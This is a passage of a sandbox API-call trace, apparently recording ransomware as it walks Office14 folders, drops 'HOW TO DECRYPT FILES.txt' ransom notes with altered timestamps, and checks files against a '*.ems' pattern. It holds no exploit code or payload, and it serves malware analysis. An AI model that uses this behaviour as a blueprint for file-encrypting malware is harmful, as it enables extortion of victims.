(lpString1="HOW TO DECRYPT FILES.txt", lpString2="Csi.dll") returned 1 [0076.387] lstrcmpiA (lpString1="", lpString2="Csi.dll") returned -1 [0076.387] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*.*") returned="*.*" [0076.387] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.387] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.387] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.387] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0xffffffff [0076.387] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.389] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.389] CloseHandle (hObject=0x8c) returned 1 [0076.389] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="Csi.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll" [0076.389] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll", pszSpec="*.ems") returned 0 [0076.390] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadf72d00, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf72d00, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x129b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0076.390] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.390] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CsiSoap.dll") returned 1 [0076.390] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CsiSoap.dll") returned 1 [0076.390] lstrcmpiA (lpString1="", lpString2="CsiSoap.dll") returned -1 [0076.390] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Csi.dll") returned="Csi.dll" [0076.390] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.390] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.390] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.390] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.390] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="CsiSoap.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\CsiSoap.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\CsiSoap.dll" [0076.390] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\CsiSoap.dll", pszSpec="*.ems") returned 0 [0076.390] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0076.390] lstrcmpA (lpString1=".", lpString2="Cultures") returned -1 [0076.390] lstrcmpA (lpString1="..", lpString2="Cultures") returned -1 [0076.390] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\CsiSoap.dll") returned="CsiSoap.dll" [0076.390] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="Cultures" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures" [0076.390] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.391] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad3651a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xad3651a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad3651a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.391] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.391] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.391] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0076.391] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.391] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OFFICE.ODF") returned -1 [0076.391] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OFFICE.ODF") returned -1 [0076.391] lstrcmpiA (lpString1="", lpString2="OFFICE.ODF") returned -1 [0076.391] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\*.*") returned="*.*" [0076.391] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\" [0076.391] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\") returned="" [0076.391] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\HOW TO DECRYPT FILES.txt" [0076.392] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\how to decrypt files.txt")) returned 0xffffffff [0076.392] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\cultures\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.393] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.393] CloseHandle (hObject=0x90) returned 1 [0076.394] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\", lpString2="OFFICE.ODF" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF" [0076.394] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Cultures\\OFFICE.ODF", pszSpec="*.ems") returned 0 [0076.394] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3715a00, ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0076.394] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.394] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c46c00, ftCreationTime.dwHighDateTime=0x1cbdfac, ftLastAccessTime.dwLowDateTime=0xacfacf40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb1c46c00, ftLastWriteTime.dwHighDateTime=0x1cbdfac, nFileSizeHigh=0x0, nFileSizeLow=0x11e9780, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0076.394] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSO.DLL") returned -1 [0076.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSO.DLL") returned -1 [0076.394] lstrcmpiA (lpString1="", lpString2="MSO.DLL") returned -1 [0076.394] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*.*") returned="*.*" [0076.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.395] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.395] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.395] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.395] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="MSO.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL" [0076.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL", pszSpec="*.ems") returned 0 [0076.395] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf201500, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xb34d7640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf201500, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x740078, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0076.395] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSORES.DLL") returned -1 [0076.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSORES.DLL") returned -1 [0076.395] lstrcmpiA (lpString1="", lpString2="MSORES.DLL") returned -1 [0076.395] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSO.DLL") returned="MSO.DLL" [0076.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.395] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.395] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.395] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.395] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="MSORES.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL" [0076.395] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL", pszSpec="*.ems") returned 0 [0076.396] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec942b00, ftCreationTime.dwHighDateTime=0x1cbc467, ftLastAccessTime.dwLowDateTime=0xae1f9860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec942b00, ftLastWriteTime.dwHighDateTime=0x1cbc467, nFileSizeHigh=0x0, nFileSizeLow=0xf1390, dwReserved0=0x740078, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0076.396] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msoshext.dll") returned -1 [0076.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msoshext.dll") returned -1 [0076.396] lstrcmpiA (lpString1="", lpString2="msoshext.dll") returned -1 [0076.396] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL") returned="MSORES.DLL" [0076.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.396] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.396] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.396] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.396] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="msoshext.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\msoshext.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\msoshext.dll" [0076.396] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\msoshext.dll", pszSpec="*.ems") returned 0 [0076.396] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ff800, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd09ff800, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xbf80, dwReserved0=0x740078, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0076.396] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOXMLMF.DLL") returned -1 [0076.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOXMLMF.DLL") returned -1 [0076.396] lstrcmpiA (lpString1="", lpString2="MSOXMLMF.DLL") returned -1 [0076.396] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\msoshext.dll") returned="msoshext.dll" [0076.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.396] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.396] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.397] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.397] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="MSOXMLMF.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSOXMLMF.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSOXMLMF.DLL" [0076.397] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSOXMLMF.DLL", pszSpec="*.ems") returned 0 [0076.397] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0076.397] lstrcmpA (lpString1=".", lpString2="Office Setup Controller") returned -1 [0076.397] lstrcmpA (lpString1="..", lpString2="Office Setup Controller") returned -1 [0076.397] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSOXMLMF.DLL") returned="MSOXMLMF.DLL" [0076.397] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="Office Setup Controller" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" [0076.397] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x5015a4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.397] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.398] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.398] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.398] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.398] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0076.398] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.398] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96cba700, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x30cd96d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x96cba700, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x4588, dwReserved0=0x66004f, dwReserved1=0x3, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0076.398] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.398] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OPHPROXY.DLL") returned -1 [0076.398] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OPHPROXY.DLL") returned -1 [0076.398] lstrcmpiA (lpString1="", 